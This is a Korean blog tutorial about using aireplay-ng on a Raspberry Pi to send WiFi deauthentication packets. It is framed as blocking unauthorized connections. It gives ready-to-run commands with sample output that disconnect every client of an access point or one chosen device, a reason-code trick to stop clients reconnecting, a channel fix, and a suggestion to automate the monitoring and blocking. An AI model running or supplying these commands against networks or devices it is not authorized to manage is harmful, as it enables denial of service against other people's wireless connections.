라즈베리파이/WIFI 무선랜 해킹

aireplay-ng 로 wifi 접속 차단하는 명령

아크리엑터 2020. 8. 13. 23:29
반응형

 

아래는 command line 명령으로 허가되지 않은 wifi접속을 차단하는 것을 설명한다.

 

aireplay-ng 명령을 사용하기 위해서는 기본적으로 aircrack-ng 패키지가 설치되어있어야 한다.

sudo apt-get install aircrack-ng

 

aireplay-ng를 실행시킨 예는 다음과 같다.

$ aireplay-ng

  Aireplay-ng 1.5.2  - (C) 2006-2018 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: aireplay-ng <options> <replay interface>

  Filter options:

      -b bssid  : MAC address, Access Point
      -d dmac   : MAC address, Destination
      -s smac   : MAC address, Source
      -m len    : minimum packet length
      -n len    : maximum packet length
      -u type   : frame control, type    field
      -v subt   : frame control, subtype field
      -t tods   : frame control, To      DS bit
      -f fromds : frame control, From    DS bit
      -w iswep  : frame control, WEP     bit
      -D        : disable AP detection

  Replay options:

      -x nbpps  : number of packets per second
      -p fctrl  : set frame control word (hex)
      -a bssid  : set Access Point MAC address
      -c dmac   : set Destination  MAC address
      -h smac   : set Source       MAC address
      -g value  : change ring buffer size (default: 8)
      -F        : choose first matching packet

      Fakeauth attack options:

      -e essid  : set target AP SSID
      -o npckts : number of packets per burst (0=auto, default: 1)
      -q sec    : seconds between keep-alives
      -Q        : send reassociation requests
      -y prga   : keystream for shared key auth
      -T n      : exit after retry fake auth request n time

      Arp Replay attack options:

      -j        : inject FromDS packets

      Fragmentation attack options:

      -k IP     : set destination IP in fragments
      -l IP     : set source IP in fragments

      Test attack options:

      -B        : activates the bitrate test

  Source options:

      -i iface  : capture packets from this interface
      -r file   : extract packets from this pcap file

  Miscellaneous options:

      -R                    : disable /dev/rtc usage
      --ignore-negative-one : if the interface's channel can't be determined,
                              ignore the mismatch, needed for unpatched cfg80211
      --deauth-rc rc        : Deauthentication reason code [0-254] (Default: 7)

  Attack modes (numbers can still be used):

      --deauth      count : deauthenticate 1 or all stations (-0)
      --fakeauth    delay : fake authentication with AP (-1)
      --interactive       : interactive frame selection (-2)
      --arpreplay         : standard ARP-request replay (-3)
      --chopchop          : decrypt/chopchop WEP packet (-4)
      --fragment          : generates valid keystream   (-5)
      --caffe-latte       : query a client for new IVs  (-6)
      --cfrag             : fragments against a client  (-7)
      --migmode           : attacks WPA migration mode  (-8)
      --test              : tests injection and quality (-9)

      --help              : Displays this usage screen

 

aireplay-ng 1.2버전은 deauth의 reason code설정하는 기능이 없다. 위와 같이 프로그램을 실행하면 1.5 버전의 경우에는 아래의 옵션이 지원되는 것을 확인할 수 있다. 이것이 없어도 작동하는 것에는 이상이 없는데, 비밀번호가 틀렸다는 Reason Code를 발생시키면 단말에서 자동으로 재접속하는 것을 막을 수 있어서, 짤렸다고 하는 인식을 줄 수 있다.

     --deauth-rc rc        : Deauthentication reason code [0-254] (Default: 7)

 

실제 DeAuth 패킷을 발생시켜보자. 명령어는 다음과 같다.  아래의 사례에 적힌 MAC주소는 임의로 적은 것이니, 실제 차단할 MAC을 찾아서 입력하면 된다.

WIFI AP의 MAC주소가  AA:BB:CC:DD:EE:FF,   PC의 MAC주소가 11:22:33:44:55:66 이라고 할 때, 아래의 명령으로 접속을 차단할 수 있다. (무선랜의 인터페이스 이름은 wlan0mon 라 가정한다.)

1) 무선랜의 이름을 찾는 방법은 다음과 같다.  iwconfig 명령을 입력하면, 아래와 같이 나오는데, IEEE 802.11 로 표시된 부분의 왼쪽에 있는 명칭이 무선랜의 인터페이스명이 된다. (아래 예는 wlan0mon)

$ iwconfig
eth0      no wireless extensions.

dummy0    no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=20 dBm   
          Retry short limit:7   RTS thr=2347 B   Fragment thr:off
          Power Management:on
          

 

2) WIFI AP로의 모든 접속을 차단하려고 할 때는 아래와 같이 적는다.  (Deauth 패킷을 100번 보내고 종료한다)  

$sudo aireplay-ng --deauth 100 -a AA:BB:CC:DD:EE:FF wlan0mon

23:16:07  Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:FF) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
23:16:07  Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:FF]
23:16:07  Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:FF]
23:16:08  Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:FF]
23:16:08  Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:FF]
23:16:09  Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:FF]
23:16:09  Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:FF]
...

 

3) Client를 한정하여 차단하려 할 때는 아래 명령을 사용할 수 있다. 이 경우에는 특정 AP를 특정 사용자만 접속 가능하게 하고, 그외의 사용자는 접속을 차단하려고 할 때 사용 할 수 있는 명령어인데, 이를 구현하려면 프로그램을 추가해야지만 된다.

아래의 사용예는 WIFI AP로 특정 Device가 접속하는 것을 차단하는 명령이다.

aireplay-ng --deauth 100 -a [AP의 맥주소] -c [디바이스의 맥주소]  [무선랜 인터페이스명]


$sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66  wlan0mon

23:21:48  Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:FF) on channel 9
23:21:48  Sending 64 directed DeAuth. STMAC: [11:22:33:44:55:66] [ 0| 6 ACKs]
23:21:49  Sending 64 directed DeAuth. STMAC: [11:22:33:44:55:66] [ 4| 9 ACKs]
23:21:49  Sending 64 directed DeAuth. STMAC: [11:22:33:44:55:66] [ 0| 8 ACKs]
23:21:50  Sending 64 directed DeAuth. STMAC: [11:22:33:44:55:66] [12| 9 ACKs]
23:21:52  Sending 64 directed DeAuth. STMAC: [11:22:33:44:55:66] [ 4|34 ACKs]

 

위의 명령을 실행할 때, AP와의 channel이 다르다는 메시지와 함께 아래의 오류가 나오는 경우가 있다. 

$sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66  wlan0mon

23:24:02  Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:FF) on channel 10
23:24:02  wlan0mon is on channel 10, but the AP uses channel 9

 

wlan0mon의 채널이 AP의 채널과 달라서 생긴 것으로, 아래와 같이 채널을 변경해주면 오류없이 실행된다. 무선랜인터페이스의 채널을 바꾸는 명령어는 다음과 같다. 아래 명령어로 9번 채널로 변경할 수 있다.

$sudo iwconfig wlan0mon channel 9

 

실제 사용할 때는, wifi 패킷을 감시하다가 특정 차단할 대상이 확인될 경우에 해당 AP의 채널로 변경한 후에 차단 패킷을 보내도록 하는 순으로 자동화 시키면 될 것 같다. 

반응형